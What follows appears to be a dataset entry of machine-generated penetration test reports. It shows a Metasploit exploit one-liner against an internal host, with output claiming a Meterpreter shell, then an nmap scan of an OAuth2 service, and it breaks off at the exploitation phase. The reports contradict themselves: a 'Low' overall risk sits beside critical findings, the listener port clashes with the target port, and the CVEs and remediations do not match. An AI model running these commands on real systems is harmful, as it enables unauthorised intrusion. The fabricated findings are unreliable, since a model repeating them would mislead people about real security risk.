text
stringlengths
0
293
Tool: Metasploit Framework 6.1
Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.91.55; set RPORT 80; exploit"
Output:
[*] Exploiting known vulnerabilities:
- CVE-2021-23017 (CVE-2021-23017)
- CVE-2022-41741 (CVE-2022-41741)
[*] Started reverse TCP handler on port 80
[*] Sending payload...
[*] Sending stage (516 bytes)
[*] Meterpreter session 9 opened
[*] Session established
[*] Gained www-data access
[*] Connected to 192.168.91.55
[*] Post-exploitation modules available:
- shell
- php_eval
- file_upload
=== Final Assessment ===
Overall Risk Rating: Low
Confidence Level: Low
Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation
Key Findings:
- 3 critical vulnerabilities identified
- 4 high risk issues found
- System configuration needs hardening
Recommendations:
1. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
3. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
Next Steps:
- Address critical vulnerabilities within 24 hours
- Remediate high risk findings within 7 days
- Schedule retesting after fixes are implemented
- Conduct developer security training focusing on OWASP Top 10
--- END REPORT ---
=== Automated Penetration Test Report ===
Test ID: PT-2025-05-11-0102
Date: 2025-05-11 19:07:19
Tester: asmith
Organization: Acme Security
Confidentiality: STRICTLY CONFIDENTIAL
Test Objective: execute penetration testing on the OAuth2 authentication service (10.137.201.82)
Scope: Internal security assessment
Rules of Engagement: Standard
=== Discovery Phase ===
Tester: nmap -sV -O --script=banner -p80 10.137.201.82
Tool Output:
Starting Nmap 7.92 at 2025-05-11 19:07:19
Nmap scan report for 10.137.201.82
Host is up (0.43s latency).
MAC Address: B2:A2:D9:EB:29:4F (Amazon)
80/tcp open http nginx/1.18.0
OS details: Linux 4.15.0-112-generic
OS CPE: cpe:/o:linux:linux_kernel:4.15
Network Distance: 3 hops
Service Info: Hostname: oauth2-authentication-service-01
Nmap done: 1 IP address (1 host up) scanned in 6 seconds
=== Vulnerability Assessment ===
Tools used:
- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection
- Burp Suite: Manual testing, session analysis, and business logic flaw identification
- Nmap scripts: Service enumeration and vulnerability verification
- Metasploit: Exploit verification and proof-of-concept testing
## Vulnerability 1: Insecure Configuration
CVE: CVE-2020-14750
CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.4)
Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review
Test Method: nmap --script vuln -p80 10.137.201.82
Result:
Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low.
Remediation: See vendor documentation
## Vulnerability 2: Information Disclosure
CVE: CVE-2022-15284
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3)
Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review
Test Method: nmap --script vuln -p80 10.137.201.82
Result:
Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile.
Remediation: See vendor documentation
=== Exploitation Phase ===